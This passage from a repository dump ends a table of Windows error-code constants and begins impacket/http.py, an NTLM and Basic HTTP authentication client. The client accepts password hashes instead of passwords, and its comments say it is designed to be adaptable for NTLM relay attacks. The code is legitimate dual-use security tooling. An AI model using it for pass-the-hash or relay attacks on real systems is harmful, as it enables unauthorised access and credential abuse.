0xC00D280C\nNS_E_DRM_LICENSE_NOTRUSTEDCODEC                              = 0xC00D280D\nNS_E_DRM_SOURCEID_NOT_SUPPORTED                              = 0xC00D280E\nNS_E_DRM_NEEDS_UPGRADE_TEMPFILE                              = 0xC00D283D\nNS_E_DRM_NEED_UPGRADE_PD                                     = 0xC00D283E\nNS_E_DRM_SIGNATURE_FAILURE                                   = 0xC00D283F\nNS_E_DRM_LICENSE_SERVER_INFO_MISSING                         = 0xC00D2840\nNS_E_DRM_BUSY                                                = 0xC00D2841\nNS_E_DRM_PD_TOO_MANY_DEVICES                                 = 0xC00D2842\nNS_E_DRM_INDIV_FRAUD                                         = 0xC00D2843\nNS_E_DRM_INDIV_NO_CABS                                       = 0xC00D2844\nNS_E_DRM_INDIV_SERVICE_UNAVAILABLE                           = 0xC00D2845\nNS_E_DRM_RESTORE_SERVICE_UNAVAILABLE                         = 0xC00D2846\nNS_E_DRM_CLIENT_CODE_EXPIRED                                 = 0xC00D2847\nNS_E_DRM_NO_UPLINK_LICENSE                                   = 0xC00D2848\nNS_E_DRM_INVALID_KID                                         = 0xC00D2849\nNS_E_DRM_LICENSE_INITIALIZATION_ERROR                        = 0xC00D284A\nNS_E_DRM_CHAIN_TOO_LONG                                      = 0xC00D284C\nNS_E_DRM_UNSUPPORTED_ALGORITHM                               = 0xC00D284D\nNS_E_DRM_LICENSE_DELETION_ERROR                              = 0xC00D284E\nNS_E_DRM_INVALID_CERTIFICATE                                 = 0xC00D28A0\nNS_E_DRM_CERTIFICATE_REVOKED                                 = 0xC00D28A1\nNS_E_DRM_LICENSE_UNAVAILABLE                                 = 0xC00D28A2\nNS_E_DRM_DEVICE_LIMIT_REACHED                                = 0xC00D28A3\nNS_E_DRM_UNABLE_TO_VERIFY_PROXIMITY                          = 0xC00D28A4\nNS_E_DRM_MUST_REGISTER                                       = 0xC00D28A5\nNS_E_DRM_MUST_APPROVE                                        = 0xC00D28A6\nNS_E_DRM_MUST_REVALIDATE                                     = 0xC00D28A7\nNS_E_DRM_INVALID_PROXIMITY_RESPONSE                          = 0xC00D28A8\nNS_E_DRM_INVALID_SESSION                                     = 0xC00D28A9\nNS_E_DRM_DEVICE_NOT_OPEN                                     = 0xC00D28AA\nNS_E_DRM_DEVICE_ALREADY_REGISTERED                           = 0xC00D28AB\nNS_E_DRM_UNSUPPORTED_PROTOCOL_VERSION                        = 0xC00D28AC\nNS_E_DRM_UNSUPPORTED_ACTION                                  = 0xC00D28AD\nNS_E_DRM_CERTIFICATE_SECURITY_LEVEL_INADEQUATE               = 0xC00D28AE\nNS_E_DRM_UNABLE_TO_OPEN_PORT                                 = 0xC00D28AF\nNS_E_DRM_BAD_REQUEST                                         = 0xC00D28B0\nNS_E_DRM_INVALID_CRL                                         = 0xC00D28B1\nNS_E_DRM_ATTRIBUTE_TOO_LONG                                  = 0xC00D28B2\nNS_E_DRM_EXPIRED_LICENSEBLOB                                 = 0xC00D28B3\nNS_E_DRM_INVALID_LICENSEBLOB                                 = 0xC00D28B4\nNS_E_DRM_INCLUSION_LIST_REQUIRED                             = 0xC00D28B5\nNS_E_DRM_DRMV2CLT_REVOKED                                    = 0xC00D28B6\nNS_E_DRM_RIV_TOO_SMALL                                       = 0xC00D28B7\nNS_E_OUTPUT_PROTECTION_LEVEL_UNSUPPORTED                     = 0xC00D2904\nNS_E_COMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED   = 0xC00D2905\nNS_E_UNCOMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2906\nNS_E_ANALOG_VIDEO_PROTECTION_LEVEL_UNSUPPORTED               = 0xC00D2907\nNS_E_COMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED   = 0xC00D2908\nNS_E_UNCOMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2909\nNS_E_OUTPUT_PROTECTION_SCHEME_UNSUPPORTED                    = 0xC00D290A\nNS_E_REBOOT_RECOMMENDED                                      = 0xC00D2AFA\nNS_E_REBOOT_REQUIRED                                         = 0xC00D2AFB\nNS_E_SETUP_INCOMPLETE                                        = 0xC00D2AFC\nNS_E_SETUP_DRM_MIGRATION_FAILED                              = 0xC00D2AFD\nNS_E_SETUP_IGNORABLE_FAILURE                                 = 0xC00D2AFE\nNS_E_SETUP_DRM_MIGRATION_FAILED_AND_IGNORABLE_FAILURE        = 0xC00D2AFF\nNS_E_SETUP_BLOCKED                                           = 0xC00D2B00\nNS_E_UNKNOWN_PROTOCOL                                        = 0xC00D2EE0\nNS_E_REDIRECT_TO_PROXY                                       = 0xC00D2EE1\nNS_E_INTERNAL_SERVER_ERROR                                   = 0xC00D2EE2\nNS_E_BAD_REQUEST                                             = 0xC00D2EE3\nNS_E_ERROR_FROM_PROXY                                        = 0xC00D2EE4\nNS_E_PROXY_TIMEOUT                                           = 0xC00D2EE5\nNS_E_SERVER_UNAVAILABLE                                      = 0xC00D2EE6\nNS_E_REFUSED_BY_SERVER                                       = 0xC00D2EE7\nNS_E_INCOMPATIBLE_SERVER                                     = 0xC00D2EE8\nNS_E_MULTICAST_DISABLED                                      = 0xC00D2EE9\nNS_E_INVALID_REDIRECT                                        = 0xC00D2EEA\nNS_E_ALL_PROTOCOLS_DISABLED                                  = 0xC00D2EEB\nNS_E_MSBD_NO_LONGER_SUPPORTED                                = 0xC00D2EEC\nNS_E_PROXY_NOT_FOUND                                         = 0xC00D2EED\nNS_E_CANNOT_CONNECT_TO_PROXY                                 = 0xC00D2EEE\nNS_E_SERVER_DNS_TIMEOUT                                      = 0xC00D2EEF\nNS_E_PROXY_DNS_TIMEOUT                                       = 0xC00D2EF0\nNS_E_CLOSED_ON_SUSPEND                                       = 0xC00D2EF1\nNS_E_CANNOT_READ_PLAYLIST_FROM_MEDIASERVER                   = 0xC00D2EF2\nNS_E_SESSION_NOT_FOUND                                       = 0xC00D2EF3\nNS_E_REQUIRE_STREAMING_CLIENT                                = 0xC00D2EF4\nNS_E_PLAYLIST_ENTRY_HAS_CHANGED                              = 0xC00D2EF5\nNS_E_PROXY_ACCESSDENIED                                      = 0xC00D2EF6\nNS_E_PROXY_SOURCE_ACCESSDENIED                               = 0xC00D2EF7\nNS_E_NETWORK_SINK_WRITE                                      = 0xC00D2EF8\nNS_E_FIREWALL                                                = 0xC00D2EF9\nNS_E_MMS_NOT_SUPPORTED                                       = 0xC00D2EFA\nNS_E_SERVER_ACCESSDENIED                                     = 0xC00D2EFB\nNS_E_RESOURCE_GONE                                           = 0xC00D2EFC\nNS_E_NO_EXISTING_PACKETIZER                                  = 0xC00D2EFD\nNS_E_BAD_SYNTAX_IN_SERVER_RESPONSE                           = 0xC00D2EFE\nNS_E_RESET_SOCKET_CONNECTION                                 = 0xC00D2F00\nNS_E_TOO_MANY_HOPS                                           = 0xC00D2F02\nNS_E_TOO_MUCH_DATA_FROM_SERVER                               = 0xC00D2F05\nNS_E_CONNECT_TIMEOUT                                         = 0xC00D2F06\nNS_E_PROXY_CONNECT_TIMEOUT                                   = 0xC00D2F07\nNS_E_SESSION_INVALID                                         = 0xC00D2F08\nNS_E_PACKETSINK_UNKNOWN_FEC_STREAM                           = 0xC00D2F0A\nNS_E_PUSH_CANNOTCONNECT                                      = 0xC00D2F0B\nNS_E_INCOMPATIBLE_PUSH_SERVER                                = 0xC00D2F0C\nNS_E_END_OF_PLAYLIST                                         = 0xC00D32C8\nNS_E_USE_FILE_SOURCE                                         = 0xC00D32C9\nNS_E_PROPERTY_NOT_FOUND                                      = 0xC00D32CA\nNS_E_PROPERTY_READ_ONLY                                      = 0xC00D32CC\nNS_E_TABLE_KEY_NOT_FOUND                                     = 0xC00D32CD\nNS_E_INVALID_QUERY_OPERATOR                                  = 0xC00D32CF\nNS_E_INVALID_QUERY_PROPERTY                                  = 0xC00D32D0\nNS_E_PROPERTY_NOT_SUPPORTED                                  = 0xC00D32D2\nNS_E_SCHEMA_CLASSIFY_FAILURE                                 = 0xC00D32D4\nNS_E_METADATA_FORMAT_NOT_SUPPORTED                           = 0xC00D32D5\nNS_E_METADATA_NO_EDITING_CAPABILITY                          = 0xC00D32D6\nNS_E_METADATA_CANNOT_SET_LOCALE                              = 0xC00D32D7\nNS_E_METADATA_LANGUAGE_NOT_SUPORTED                          = 0xC00D32D8\nNS_E_METADATA_NO_RFC1766_NAME_FOR_LOCALE                     = 0xC00D32D9\nNS_E_METADATA_NOT_AVAILABLE                                  = 0xC00D32DA\nNS_E_METADATA_CACHE_DATA_NOT_AVAILABLE                       = 0xC00D32DB\nNS_E_METADATA_INVALID_DOCUMENT_TYPE                          = 0xC00D32DC\nNS_E_METADATA_IDENTIFIER_NOT_AVAILABLE                       = 0xC00D32DD\nNS_E_METADATA_CANNOT_RETRIEVE_FROM_OFFLINE_CACHE             = 0xC00D32DE\nERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM                    = 0xC0261003\nERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK                  = 0xC0261004\nERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED              = 0xC0261005\nERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK             = 0xC0261006\nERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK             = 0xC0261007\nERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA                        = 0xC0261008\nERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK                  = 0xC0261009\nERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER                      = 0xC0262000\nERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER                       = 0xC0262001\nERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER                       = 0xC0262002\nERROR_GRAPHICS_ADAPTER_WAS_RESET                             = 0xC0262003\nERROR_GRAPHICS_INVALID_DRIVER_MODEL                          = 0xC0262004\nERROR_GRAPHICS_PRESENT_MODE_CHANGED                          = 0xC0262005\nERROR_GRAPHICS_PRESENT_OCCLUDED                              = 0xC0262006\nERROR_GRAPHICS_PRESENT_DENIED                                = 0xC0262007\nERROR_GRAPHICS_CANNOTCOLORCONVERT                            = 0xC0262008\nERROR_GRAPHICS_NO_VIDEO_MEMORY                               = 0xC0262100\nERROR_GRAPHICS_CANT_LOCK_MEMORY                              = 0xC0262101\nERROR_GRAPHICS_ALLOCATION_BUSY                               = 0xC0262102\nERROR_GRAPHICS_TOO_MANY_REFERENCES                           = 0xC0262103\nERROR_GRAPHICS_TRY_AGAIN_LATER                               = 0xC0262104\nERROR_GRAPHICS_TRY_AGAIN_NOW                                 = 0xC0262105\nERROR_GRAPHICS_ALLOCATION_INVALID                            = 0xC0262106\nERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE              = 0xC0262107\nERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED              = 0xC0262108\nERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION                  = 0xC0262109\nERROR_GRAPHICS_INVALID_ALLOCATION_USAGE                      = 0xC0262110\nERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION                 = 0xC0262111\nERROR_GRAPHICS_ALLOCATION_CLOSED                             = 0xC0262112\nERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE                   = 0xC0262113\nERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE                     = 0xC0262114\nERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE                       = 0xC0262115\nERROR_GRAPHICS_ALLOCATION_CONTENT_LOST                       = 0xC0262116\nERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE                       = 0xC0262200\nERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY                        = 0xC0262300\nERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED                  = 0xC0262301\nERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED        = 0xC0262302\nERROR_GRAPHICS_INVALID_VIDPN                                 = 0xC0262303\nERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE                  = 0xC0262304\nERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET                  = 0xC0262305\nERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED                  = 0xC0262306\nERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET                   = 0xC0262308\nERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET                   = 0xC0262309\nERROR_GRAPHICS_INVALID_FREQUENCY                             = 0xC026230A\nERROR_GRAPHICS_INVALID_ACTIVE_REGION                         = 0xC026230B\nERROR_GRAPHICS_INVALID_TOTAL_REGION                          = 0xC026230C\nERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE             = 0xC0262310\nERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE             = 0xC0262311\nERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET                = 0xC0262312\nERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY                      = 0xC0262313\nERROR_GRAPHICS_MODE_ALREADY_IN_MODESET                       = 0xC0262314\nERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET                 = 0xC0262315\nERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET                 = 0xC0262316\nERROR_GRAPHICS_SOURCE_ALREADY_IN_SET                         = 0xC0262317\nERROR_GRAPHICS_TARGET_ALREADY_IN_SET                         = 0xC0262318\nERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH                    = 0xC0262319\nERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY                 = 0xC026231A\nERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET             = 0xC026231B\nERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE                = 0xC026231C\nERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET                     = 0xC026231D\nERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET                 = 0xC026231F\nERROR_GRAPHICS_STALE_MODESET                                 = 0xC0262320\nERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET                 = 0xC0262321\nERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE                   = 0xC0262322\nERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN               = 0xC0262323\nERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE                        = 0xC0262324\nERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION = 0xC0262325\nERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES       = 0xC0262326\nERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY                          = 0xC0262327\nERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE         = 0xC0262328\nERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET         = 0xC0262329\nERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET                  = 0xC026232A\nERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR                     = 0xC026232B\nERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET                  = 0xC026232C\nERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET              = 0xC026232D\nERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE           = 0xC026232E\nERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE              = 0xC026232F\nERROR_GRAPHICS_RESOURCES_NOT_RELATED                         = 0xC0262330\nERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE                      = 0xC0262331\nERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE                      = 0xC0262332\nERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET                     = 0xC0262333\nERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER  = 0xC0262334\nERROR_GRAPHICS_NO_VIDPNMGR                                   = 0xC0262335\nERROR_GRAPHICS_NO_ACTIVE_VIDPN                               = 0xC0262336\nERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY                          = 0xC0262337\nERROR_GRAPHICS_MONITOR_NOT_CONNECTED                         = 0xC0262338\nERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY                        = 0xC0262339\nERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE                   = 0xC026233A\nERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE                    = 0xC026233B\nERROR_GRAPHICS_INVALID_STRIDE                                = 0xC026233C\nERROR_GRAPHICS_INVALID_PIXELFORMAT                           = 0xC026233D\nERROR_GRAPHICS_INVALID_COLORBASIS                            = 0xC026233E\nERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE                  = 0xC026233F\nERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY                        = 0xC0262340\nERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT            = 0xC0262341\nERROR_GRAPHICS_VIDPN_SOURCE_IN_USE                           = 0xC0262342\nERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN                      = 0xC0262343\nERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL               = 0xC0262344\nERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION  = 0xC0262345\nERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = 0xC0262346\nERROR_GRAPHICS_INVALID_GAMMA_RAMP                            = 0xC0262347\nERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED                      = 0xC0262348\nERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED                   = 0xC0262349\nERROR_GRAPHICS_MODE_NOT_IN_MODESET                           = 0xC026234A\nERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON  = 0xC026234D\nERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE                     = 0xC026234E\nERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE                   = 0xC026234F\nERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS             = 0xC0262350\nERROR_GRAPHICS_INVALID_SCANLINE_ORDERING                     = 0xC0262352\nERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED                  = 0xC0262353\nERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS              = 0xC0262354\nERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT                   = 0xC0262355\nERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM                = 0xC0262356\nERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED             = 0xC0262400\nERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED                = 0xC0262401\nERROR_GRAPHICS_NOT_A_LINKED_ADAPTER                          = 0xC0262430\nERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED                       = 0xC0262431\nERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED                     = 0xC0262432\nERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY                       = 0xC0262433\nERROR_GRAPHICS_CHAINLINKS_NOT_STARTED                        = 0xC0262434\nERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON                     = 0xC0262435\nERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE                = 0xC0262436\nERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER                        = 0xC0262438\nERROR_GRAPHICS_OPM_NOT_SUPPORTED                             = 0xC0262500\nERROR_GRAPHICS_COPP_NOT_SUPPORTED                            = 0xC0262501\nERROR_GRAPHICS_UAB_NOT_SUPPORTED                             = 0xC0262502\nERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS              = 0xC0262503\nERROR_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL                 = 0xC0262504\nERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST                    = 0xC0262505\nERROR_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME     = 0xC0262506\nERROR_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP    = 0xC0262507\nERROR_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED           = 0xC0262508\nERROR_GRAPHICS_OPM_INVALID_POINTER                           = 0xC026250A\nERROR_GRAPHICS_OPM_INTERNAL_ERROR                            = 0xC026250B\nERROR_GRAPHICS_OPM_INVALID_HANDLE                            = 0xC026250C\nERROR_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE  = 0xC026250D\nERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH                = 0xC026250E\nERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED                     = 0xC026250F\nERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED                      = 0xC0262510\nERROR_GRAPHICS_PVP_HFS_FAILED                                = 0xC0262511\nERROR_GRAPHICS_OPM_INVALID_SRM                               = 0xC0262512\nERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP              = 0xC0262513\nERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP               = 0xC0262514\nERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA             = 0xC0262515\nERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET                        = 0xC0262516\nERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH                       = 0xC0262517\nERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE          = 0xC0262518\nERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS             = 0xC0262519\nERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS           = 0xC026251A\nERROR_GRAPHICS_I2C_NOT_SUPPORTED                             = 0xC0262580\nERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST                     = 0xC0262581\nERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA                   = 0xC0262582\nERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA                      = 0xC0262583\nERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED                       = 0xC0262584\nERROR_GRAPHICS_DDCCI_INVALID_DATA                            = 0xC0262585\nERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = 0xC0262586\nERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING               = 0xC0262587\nERROR_GRAPHICS_MCA_INTERNAL_ERROR                            = 0xC0262588\nERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND                 = 0xC0262589\nERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH                  = 0xC026258A\nERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM                = 0xC026258B\nERROR_GRAPHICS_PMEA_INVALID_MONITOR                          = 0xC02625D6\nERROR_GRAPHICS_PMEA_INVALID_D3D_DEVICE                       = 0xC02625D7\nERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE = 0xC02625D8\nERROR_GRAPHICS_MCA_INVALID_VCP_VERSION                       = 0xC02625D9\nERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION       = 0xC02625DA\nERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH                     = 0xC02625DB\nERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION                  = 0xC02625DC\nERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED          = 0xC02625DE\nERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE             = 0xC02625DF\nERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED                = 0xC02625E0\n"
  },
  {
    "path": "impacket/http.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   For MS-RPCH\n#   Can be programmed to be used in relay attacks\n#   Probably for future MAPI\n#\n# Authors:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n\nimport re\nimport ssl\nimport base64\nimport binascii\n\ntry:\n    from http.client import HTTPConnection, HTTPSConnection\nexcept ImportError:\n    from httplib import HTTPConnection, HTTPSConnection\n\nfrom impacket import ntlm, LOG\n\n# Auth types\nAUTH_AUTO      = 'Auto'\nAUTH_BASIC     = 'Basic'\nAUTH_NTLM      = 'NTLM'\nAUTH_NEGOTIATE = 'Negotiate'\nAUTH_BEARER    = 'Bearer'\nAUTH_DIGEST    = 'Digest'\n\n################################################################################\n# CLASSES\n################################################################################\nclass HTTPClientSecurityProvider:\n    def __init__(self, auth_type=AUTH_AUTO):\n        self.__username = None\n        self.__password = None\n        self.__domain   = None\n        self.__lmhash   = ''\n        self.__nthash   = ''\n        self.__aesKey   = ''\n        self.__TGT      = None\n        self.__TGS      = None\n\n        self.__auth_type = auth_type\n\n        self.__auth_types = []\n        self.__ntlmssp_info = None\n\n    def set_auth_type(self, auth_type):\n        self.__auth_type = auth_type\n\n    def get_auth_type(self):\n        return self.__auth_type\n\n    def get_auth_types(self):\n        return self.__auth_types\n\n    def get_ntlmssp_info(self):\n        return self.__ntlmssp_info\n\n    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):\n        self.__username = username\n        self.__password = password\n        self.__domain   = domain\n\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0%s' % lmhash\n            if len(nthash) % 2:\n                nthash = '0%s' % nthash\n\n            try: # just in case they were converted already\n                self.__lmhash = binascii.unhexlify(lmhash)\n                self.__nthash = binascii.unhexlify(nthash)\n            except:\n                self.__lmhash = lmhash\n                self.__nthash = nthash\n                pass\n\n        self.__aesKey = aesKey\n        self.__TGT    = TGT\n        self.__TGS    = TGS\n\n    def parse_www_authenticate(self, header):\n        ret = []\n\n        if 'NTLM' in header:\n            ret.append(AUTH_NTLM)\n        if 'Basic' in header:\n            ret.append(AUTH_BASIC)\n        if 'Negotiate' in header:\n            ret.append(AUTH_NEGOTIATE)\n        if 'Bearer' in header:\n            ret.append(AUTH_BEARER)\n        if 'Digest' in header:\n            ret.append(AUTH_DIGEST)\n\n        return ret\n\n    def connect(self, protocol, host_L6):\n        if protocol == 'http':\n            return HTTPConnection(host_L6)\n        else:\n            try:\n                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n                return HTTPSConnection(host_L6, context=uv_context)\n            except AttributeError:\n                return HTTPSConnection(host_L6)\n\n    def get_auth_headers(self, http_obj, method, path, headers):\n        if self.__auth_type == AUTH_BASIC:\n            return self.get_auth_headers_basic(http_obj, method, path, headers)\n        elif self.__auth_type in [AUTH_AUTO, AUTH_NTLM]:\n            return self.get_auth_headers_auto(http_obj, method, path, headers)\n        else:\n            raise Exception('%s auth type not supported' % self.__auth_type)\n\n    def get_auth_headers_basic(self, http_obj, method, path, headers):\n        if self.__lmhash != '' or self.__nthash != '' or \\\n           self.__aesKey != '' or self.__TGT != None or self.__TGS != None:\n            raise Exception('Basic authentication in HTTP connection used, '\n                            'so set a plaintext credentials to connect.')\n\n        if self.__domain == '':\n            auth_line = self.__username + ':' + self.__password\n        else:\n            auth_line = self.__domain + '\\\\' + self.__username + ':' + self.__password\n\n        auth_line_http = 'Basic %s' % base64.b64encode(auth_line.encode('UTF-8')).decode('ascii')\n\n        # Format: auth_headers, reserved, ...\n        return {'Authorization': auth_line_http}, None\n\n    # It's important that the class contains the separate method that\n    # gets NTLM Type 1 value, as this way the class can be programmed to\n    # be used in relay attacks\n    def send_ntlm_type1(self, http_obj, method, path, headers, negotiateMessage):\n        auth_headers = headers.copy()\n        auth_headers['Content-Length'] = '0'\n        auth_headers['Authorization']  = 'NTLM %s' % base64.b64encode(negotiateMessage).decode('ascii')\n        http_obj.request(method, path, headers=auth_headers)\n        res = http_obj.getresponse()\n        res.read()\n\n        if res.status != 401:\n            raise Exception('Status code returned: %d. '\n                            'Authentication does not seem required for url %s'\n                            % (res.status, path)\n                )\n\n        if res.getheader('WWW-Authenticate') is None:\n           raise Exception('No authentication requested by '\n                           'the server for url %s' % path)\n\n        if self.__auth_types == []:\n            self.__auth_types = self.parse_www_authenticate(res.getheader('WWW-Authenticate'))\n\n        if AUTH_NTLM not in self.__auth_types:\n            # NTLM auth not supported for url\n            return None, None\n\n        try:\n            serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})',\n                                              res.getheader('WWW-Authenticate')).group(1)\n            serverChallenge = base64.b64decode(serverChallengeBase64)\n        except (IndexError, KeyError, AttributeError):\n            raise Exception('No NTLM challenge returned from server for url %s' % path)\n\n        if not self.__ntlmssp_info:\n            challenge = ntlm.NTLMAuthChallenge(serverChallenge)\n            self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields'])\n\n        # Format: serverChallenge, reserved, ...\n        return serverChallenge, None\n\n    def get_auth_headers_auto(self, http_obj, method, path, headers):\n        if self.__aesKey != '' or self.__TGT != None or self.__TGS != None:\n            raise Exception('NTLM authentication in HTTP connection used, ' \\\n                            'cannot use Kerberos.')\n\n        auth = 